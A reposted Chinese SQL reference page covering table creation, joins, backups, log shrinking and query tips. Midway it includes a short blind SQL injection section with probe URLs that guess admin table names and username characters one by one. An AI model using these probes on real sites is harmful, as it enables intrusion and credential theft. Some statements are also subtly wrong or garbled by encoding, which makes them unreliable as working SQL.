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SQL操作全集--百度

发表于: 2011-09-25 ? 作者:chenandczh ? 来源:转载 ? 浏览:
摘要: 创建数据库创建之前判断该数据库是否存在ifexists(select*fromsysdatabaseswherename='databaseName')dropdatabasedatabaseNamegoCreateDATABASEdatabase-name删除数据库dropdatabasedbname备份sqlserver---创建备份数据的deviceUSEmasterEXECsp_addum

创建数据库

  创建之前判断该数据库是否存在
  if exists (select * from sysdatabases where name='databaseName')
  drop database databaseName
  go
  Create DATABASE database-name

删除数据库

  drop database dbname

备份sql server

  --- 创建备份数据的 device
  USE master
  EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
  --- 开始备份
  BACKUP DATABASE pubs TO testBack

创建新表

  create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
  根据已有的表创建新表:
  A:go
  use 原数据库名
  go
  select * into 目的数据库名.dbo.目的表名 from 原表名(使用旧表创建新表)
  B:create table tab_new as select col1,col2… from tab_old definition only

创建序列

  create sequence SIMON_SEQUENCE
  minvalue 1 -- 最小值
  maxvalue 999999999999999999999999999 -- 最大值
  start with 1 -- 开始值
  increment by 1 -- 每次加几
  cache 20;

删除新表

  drop table tabname

增加一个列

  Alter table tabname add column col type

删除一个列

  Alter table tabname drop column colname

添加主键

  Alter table tabname add primary key(col)
  说明:删除主键:Alter table tabname drop primary key(col)

创建索引

  create [unique] index idxname on tabname(col…。)
  删除索引:drop index idxname on tabname
  注:索引是不可更改的,想更改必须删除重新建。

创建视图

  create view viewname as select statement
  删除视图:drop view viewname

几个简单的基本的sql语句

  (1) 数据记录筛选:
  sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
  sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"
  sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
  sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"
  sql="select * from 数据表 where 字段名 between 值1 and 值2"
  (2) 更新数据记录:
  sql="update 数据表 set 字段名=字段值 where 条件表达式"
  sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"
  (3) 删除数据记录:
  sql="delete from 数据表 where 条件表达式"
  sql="delete from 数据表" (将数据表所有记录删除)
  (4) 添加数据记录:
  sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"
  sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)
  (5) 数据记录统计函数:
  AVG(字段名) 得出一个表格栏平均值
  COUNT(*¦字段名) 对数据行数的统计或对某一栏有值的数据行数统计
  MAX(字段名) 取得一个表格栏最大的值
  MIN(字段名) 取得一个表格栏最小的值
  SUM(字段名) 把数据栏的值相加
  引用以上函数的方法:
  sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
  set rs=conn.excute(sql)
  用 rs("别名") 获取统计的值,其它函数运用同上。
  查询去除重复值:select distinct * from table1
  (5) 数据表的建立和删除:
  CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

几个高级查询运算词

  A:UNION 运算符
  UNION 运算符通过组合其他两个结果表(例如TABLE1 和TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随UNION 一起使用时(即UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自TABLE1 就是来自TABLE2。
  B: EXCEPT 运算符
  EXCEPT 运算符通过包括所有在TABLE1 中但不在TABLE2 中的行并消除所有重复行而派生出一个结果表。当ALL 随EXCEPT 一起使用时(EXCEPT ALL),不消除重复行。
  C:INTERSECT 运算符
  INTERSECT 运算符通过只包括TABLE1 和TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当ALL 随INTERSECT 一起使用时(INTERSECT ALL),不消除重复行。
  注:使用运算词的几个查询结果行必须是一致的。

使用外连接

  A、left outer join:
  左外连接(左连接): 结果集既包括连接表的匹配行,也包括左连接表的所有行。
  SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
  B:right outer join:
  右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
  C:full outer join:
  全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。

编辑本段判断对象是否存在

判断数据库是否存在

  if exists ( select?*? from?sys.databases? where?name?= '数据库名')
   drop?database?[数据库名]

判断表是否存在

  if not exists (select * from sysobjects where [name] = '表名' and xtype='U')
  begin
  --这里创建表
  end

判断存储过程是否存在

  if exists ( select?*? from?sysobjects? where?id = object_id(N'[存储过程名]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
   drop?procedure?[存储过程名]

判断临时表是否存在

  if object_id('tempdb..#临时表名')? is?not null
   drop?table?#临时表名

判断视图是否存在

  --SQL Server 2000
  IF EXISTS ( SELECT?*? FROM?sysviews? WHERE?object_id = '[dbo].[视图名]'
  --SQL Server 2005
  IF EXISTS ( SELECT?*? FROM?sys.views? WHERE?object_id = '[dbo].[视图名]'

判断函数是否存在

  if exists ( select?*? from?dbo.sysobjects? where?id = object_id(N'[dbo].[函数名]') and xtype in (N'FN', N'IF', N'TF'))
   drop?function?[dbo].[函数名]

获取用户创建的对象信息

   SELECT?[ name],[id],crdate? FROM?sysobjects? where?xtype='U'
  /*
  xtype 的表示参数类型,通常包括如下这些 C =? CHECK?约束 D = 默认值或 DEFAULT?约束 F =? FOREIGN?KEY?约束 L = 日志 FN = 标量函数 IF = 内嵌表函数 P = 存储过程 PK =? PRIMARY?KEY?约束(类型是K) RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR =? 触发器?U = 用户表 UQ =? UNIQUE?约束(类型是K) V = 视图 X = 扩展存储过程 */

判断列是否存在

  if exists( select?*? from?syscolumns? where?id=object_id('表名') and? name='列名')
   alter?table?表名 drop?column?列名

判断列是否自增列

  if columnproperty(object_id('table'),'col','IsIdentity')=1
  print '自增列'
   else
  print '不是自增列'
   SELECT?*? FROM?sys.columns? WHERE?object_id=OBJECT_ID('表名')
  AND is_identity=1

判断表中是否存在索引

  if exists( select?*? from?sysindexes? where?id=object_id('表名') and? name='索引名')
  print '存在'
   else
  print '不存在

查看数据库中对象

   SELECT?*? FROM?sys.sysobjects? WHERE?name='对象名'
  select * from table(所要查询的表名) where coloum(条件)

编辑本段提升

复制表

  (只复制结构,源表名:a 新表名:b) (Access可用)
  法一:select * into b from a where 1<>1
  法二:select top 0 * into b from a

拷贝表

  (拷贝数据,源表名:a 目标表名:b) (Access可用)
  insert into b(a, b, c) select d,e,f from a;

跨数据库之间表的拷贝

  (具体数据使用绝对路径) (Access可用)
  insert into b(a, b, c) select d,e,f from a in ‘具体数据库’ where 条件
  例子:。.from b in '"&Server.MapPath("."&"\data.mdb" &"' where..

子查询

  (表名1:a 表名2:b)
  select a,b,c from a where a IN (select d from b 或者: select a,b,c from a where a IN (1,2,3)

显示文章、提交人和最后回复时间

  select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

外连接查询

  (表名1:a 表名2:b)
  select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

在线视图查询

  (表名1:a
  select * from (Select a,b,c FROM a) T where t.a > 1;

between的用法

  between限制查询数据范围时包括了边界值,not between不包括
  select * from table1 where time between time1 and time2
  select a,b,c, from table1 where a not between 数值1 and 数值2

in 的使用方法

  select * from table1 where a [not] in (‘值1’,’值2’,’值4’,’值6’)

删除主表中已经在副表中没有的信息

  两张关联表delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1

四表联查问题

  select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

日程安排提前五分钟提醒

  SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5

一条sql 语句搞定数据库分页

  select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段= a.主键字段 order by a.排序字段

前10条记录

  select top 10 * from table1 where 范围

选择排名

  选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等。)
  select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

派生结果表

  包括所有在TableA 中但不在TableB和TableC 中的行并消除所有重复行而派生出一个结果表
  (select a from tableA except (select a from tableB) except (select a from tableC)

随机取出10条数据

  select top 10 * from tablename order by newid()

随机选择记录

  select newid()

删除重复记录

  Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

列出数据库里所有的表名

  select name from sysobjects where type='U'

列出表里的所有的

  select name from syscolumns where id=object_id('TableName')

列示排列

  列示type、vender、pcs字段,以type字段排列,case可以方便地实现多重选择,类似select 中的case。
  select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
  显示结果:
  type vender pcs
  电脑A 1
  电脑A 1
   光盘?B 2
  光盘A 2
  手机B 3
  手机C 3

初始化表table1

  TRUNCATE TABLE table1

选择从10到15的记录

  select top 5 * from (select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc) table_2 order by id

数据类型转换

  declare @numid int
  declare @id varchar(50)
  set @numid=2005
  set @id=convert(varchar,@numid)
  通过上述语句完成数据类型Int转换成varchar,其他转换类似,可参看convert函数

编辑本段技巧

1=1,1=2的使用

  在SQL语句组合时用的较多
  “where 1=1”是表示选择全部 “where 1=2”全部不选,
  如:
  if @strWhere !='
  begin
  set @strSQL = 'select count(*) as Total from [' + @tblName + '] where ' + @strWhere
  end
  else
  begin
  set @strSQL = 'select count(*) as Total from [' + @tblName + ']'
  end
  我们可以直接写成
  set @strSQL = 'select count(*) as Total from [' + @tblName + '] where 1=1 and '+ @strWhere

收缩数据库

  --重建索引
  DBCC REINDEX
  DBCC INDEXDEFRAG
  --收缩数据和日志
  DBCC SHRINKDB
  DBCC SHRINKFILE

压缩数据库

  dbcc shrinkdatabase(dbname)
  转移数据库给新用户以已存在用户权限
  exec sp_change_users_login 'update_one','newname','oldname'
  go

检查备份集

  RESTORE VERIFYONLY from disk='E:\dvbbs.bak'

修复数据库

  Alter DATABASE [dvbbs] SET SINGLE_USER
  GO
  DBCC CHECKDB('dvbbs',repair_allow_data_loss) WITH TABLOCK
  GO
  Alter DATABASE [dvbbs] SET MULTI_USER
  GO

日志清除

  SET NOCOUNT ON
  DECLARE @LogicalFileName sysname,
  @MaxMinutes INT,
  @NewSize INT
  USE tablename -- 要操作的数据库名
  Select @LogicalFileName = 'tablename_log', --? 日志文件名
  @MaxMinutes = 10, -- Limit on time allowed to wrap log.
  @NewSize = 1 -- 你想设定的日志文件的大小(M)
  -- Setup / initialize
  DECLARE @OriginalSize int
  Select @OriginalSize = size
  FROM sysfiles
  Where name = @LogicalFileName
  Select 'Original Size of ' + db_name() + ' LOG is ' +
  CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
  CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
  FROM sysfiles
  Where name = @LogicalFileName
  Create TABLE DummyTrans
  (DummyColumn char (8000) not null)
  DECLARE @Counter INT,
  @StartTime DATETIME,
  @TruncLog VARCHAR(255)
  Select @StartTime = GETDATE(),
  @TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'
  DBCC SHRINKFILE (@LogicalFileName, @NewSize)
  EXEC (@TruncLog)
  -- Wrap the log if necessary.
  WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
  AND @OriginalSize = (Select size FROM sysfiles Where name = @LogicalFileName)
  AND (@OriginalSize * 8 /1024) > @NewSize
  BEGIN -- Outer loop.
  Select @Counter = 0
  WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
  BEGIN -- update
  Insert DummyTrans VALUES ('Fill Log')
  Delete DummyTrans
  Select @Counter = @Counter + 1
  END
  EXEC (@TruncLog)
  END
  Select 'Final Size of ' + db_name() + ' LOG is ' +
  CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
  CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
  FROM sysfiles
  Where name = @LogicalFileName
  Drop TABLE DummyTrans
  SET NOCOUNT OFF

更改某个表

  exec sp_changeobjectowner 'tablename','dbo'

存储更改全部表

  Create PROCEDURE dbo.User_ChangeObjectOwnerBatch
  @OldOwner as NVARCHAR(128),
  @NewOwner as NVARCHAR(128)
  AS
  DECLARE @Name as NVARCHAR(128)
  DECLARE @Owner as NVARCHAR(128)
  DECLARE @OwnerName as NVARCHAR(128)
  DECLARE curObject CURSOR FOR
  select 'Name' = name,
  'Owner' = user_name(uid)
  from sysobjects
  where user_name(uid)=@OldOwner
  order by name
  OPEN curObject
  FETCH NEXT FROM curObject INTO @Name, @Owner
  WHILE(@@FETCH_STATUS=0)
  BEGIN
  if @Owner=@OldOwner
  begin
  set @OwnerName = @OldOwner + '.' + rtrim(@Name)
  exec sp_changeobjectowner @OwnerName, @NewOwner
  end
  -- select @name,@NewOwner,@OldOwner
  FETCH NEXT FROM curObject INTO @Name, @Owner
  END
  close curObject
  deallocate curObject
  GO

SQL SERVER中直接循环写入数据

  declare @i int
  set @i=1
  while @i<30
  begin
  insert into test (userid) values(@i)
  set @i=@i+1

  end



小记存储过程中经常用到的本周,本月,本年函数?
Dateadd(wk,datediff(wk,0,getdate()),-1)?
Dateadd(wk,datediff(wk,0,getdate()),6)?

Dateadd(mm,datediff(mm,0,getdate()),0)?
Dateadd(ms,-3,dateadd(mm,datediff(m,0,getdate())+1,0))?

Dateadd(yy,datediff(yy,0,getdate()),0)?
Dateadd(ms,-3,DATEADD(yy,?DATEDIFF(yy,0,getdate())+1,?0))?

上面的SQL代码只是一个时间段?
Dateadd(wk,datediff(wk,0,getdate()),-1)?
Dateadd(wk,datediff(wk,0,getdate()),6)?
就是表示本周时间段.?
下面的SQL的条件部分,就是查询时间段在本周范围内的:?
Where?Time?BETWEEN?Dateadd(wk,datediff(wk,0,getdate()),-1)?AND?Dateadd(wk,datediff(wk,0,getdate()),6)?
而在存储过程中?
select?@begintime?=?Dateadd(wk,datediff(wk,0,getdate()),-1)?
select?@endtime?=?Dateadd(wk,datediff(wk,0,getdate()),6)

检测可否注入?

http://127.0.0.1/xx?id=11?and?1=1?(正常页面)?

http://127.0.0.1/xx?id=11?and?1=2?(出错页面)?


检测表段的?


http://127.0.0.1/xx?id=11?and?exists?(select?*?from?admin)?


检测字段的?


http://127.0.0.1/xx?id=11?and?exists?(select?username?from?admin)?


检测ID?


http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?ID=1)?


检测长度的?


http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?len(username)=5?and?ID=1)?



检测长度的?


http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?len(username)=5?and?ID=1)?


检测是否为MSSQL数据库?


http://127.0.0.1/xx?id=11?and?exists?(select?*?from?sysobjects)?


检测是否为英文?


(ACCESS数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))?between?30?and?130?and?ID=1)?


(MSSQL数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))?between?30?and?130?and?ID=1)?


检测英文的范围?


(ACCESS数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))?between?90?and?100?and?ID=1)?


(MSSQL数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))?between?90?and?100?and?ID=1)?


检测那个字符?


(ACCESS数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?asc(mid(username,1,1))=97?and?ID=1)?


(MSSQL数据库)?

http://127.0.0.1/xx?id=11?and?exists?(select?id?from?admin?where?unicode(substring(username,1,1))=97?and?ID=1)?


常用函数?


Access:asc(字符) SQLServer:unicode(字符)?

作用:返回某字符的ASCII码?


Access:chr(数字) SQLServer:nchar(数字)?

作用:与asc相反,根据ASCII码返回字符?


Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)?

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串?


Access:abc(数字) SQLServer:abc?(数字)?

作用:返回数字的绝对值(在猜解汉字的时候会用到)?


Access:A?between?B?And?C SQLServer:A?between?B?And?C?

作用:判断A是否界于B与C之间?


and?exists(Select?top?1?*?From?用户?order?by?id)?



1.在查询结果中显示列名:?

a.用as关键字:select?name?as?’姓名’?from?students?order?by?age?

b.直接表示:select?name?’姓名’?from?students?order?by?age?


2.精确查找:?

a.用in限定范围:select?*?from?students?where?native?in?(’湖南’,?’四川’)?

b.between...and:select?*?from?students?where?age?between?20?and?30?

c.“=”:select?*?from?students?where?name?=?’李山’?

d.like:select?*?from?students?where?name?like?’李%’?(注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)?

e.[]匹配检查符:select?*?from?courses?where?cno?like?’[AC]%’?(表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select?*?from?courses?where?cno?like?’[A-C]%’)?



3.对于时间类型变量的处理?

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select?*?from?students?where?birth?>?=?’1980-1-1’?and?birth?<=?’1980-12-31’

4.集函数?

a.count()求和,如:select?count(*)?from?students?(求学生总人数)?

b.avg(列)求平均,?
如:select?avg(mark)?from?grades?where?cno=’B2’?

c.max(列)和min(列),求最大与最小?


5.分组group?

常用于统计时,如分组查总数:select?gender,count(sno)?from?students?group?by?gender(查看男女学生各有多少)?

注意:从哪种角度分组就从哪列"group?by"?

对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数?,那么分组规则有:届别(grade)、专业(mno)和?

性别(gender),所以有"group?by?grade,?mno,?gender"?

select?grade,?mno,?gender,?count(*)?from?students?group?by?grade,?mno,?gender?

通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:?

select?sno,count(*)?from?grades?where?mark<60?group?by?sno?having?count(*)>1?



6.UNION联合?

合并查询结果,如:?

SELECT?*?FROM?students?WHERE?name?like?‘张%’UNION?[ALL]?SELECT?*?FROM?students?WHERE?name?like?‘李%’?



7.多表查询?

a.内连接?

select?g.sno,s.name,c.coursename?from?grades?g?JOIN?students?s?ON?g.sno=s.sno?JOIN?courses?c?ON?g.cno=c.cno?

(注意可以引用别名)?

b.外连接?

b1.左连接?

select?courses.cno,max(coursename),count(sno)?from?courses?LEFT?JOIN?grades?ON?courses.cno=grades.cno?group?by?courses.cno?

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。?


左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。?

b2.右连接?

与左连接类似?

b3.全连接?

select?sno,name,major?from?students?FULL?JOIN?majors?ON?students.mno=majors.mno?

两边表中的内容全部显示?

c.自身连接?

select?c1.cno,c1.coursename,c1.pno,c2.coursename?from?courses?c1,courses?c2?where?c1.pno=c2.cno?

采用别名解决问题。?

d.交*连接?

select?lastname+firstname?from?lastname?CROSS?JOIN?firstanme?

相当于做笛卡儿积?



8.嵌套查询?

a.用关键字IN,如查询猪猪山的同乡:?

select?*?from?students?where?native?in?(select?native?from?students?where?name=’猪猪’)?

b.使用关键字EXIST,比如,下面两句是等价的:?

select?*?from?students?where?sno?in?(select?sno?from?grades?where?cno=’B2’)?


select?*?from?students?where?exists?(select?*?from?grades?where?grades.sno=students.sno?AND?cno=’B2’)?

9.关于排序order?

a.对于排序order,有两种方法:asc升序和desc降序?

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:?

select?sno,count(*)?,avg(mark)?from?grades?group?by?sno?having?avg(mark)>85?order?by?3?


10.其他?

a.对于有空格的识别名称,应该用"[]"括住。?

b.对于某列中没有数据的特定查询可以用null判断,如select?sno,courseno?from?grades?where?mark?IS?NULL?

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”?

d.注意在做否定意义的查询是小心进入陷阱:?

如,没有选修‘B2’课程的学生?:?

select?students.*?from?students,?grades?where?students.sno=grades.sno?AND?grades.cno?<>?’B2’?

上面的查询方式是错误的,正确方式见下方:?

select?*?from?students?where?not?exists?(select?*?from?grades?where?grades.sno=students.sno?AND?cno=’B2’)?


11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难??br>select?*?from?students?where?not?exists?(select?*?from?courses?where?NOT?EXISTS?(select?*?from?grades?where?sno=students.sno?AND?cno=courses.cno))?

最外一重:从学生表中选,排除那些有课没选的。用not?exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

SQL操作全集--百度

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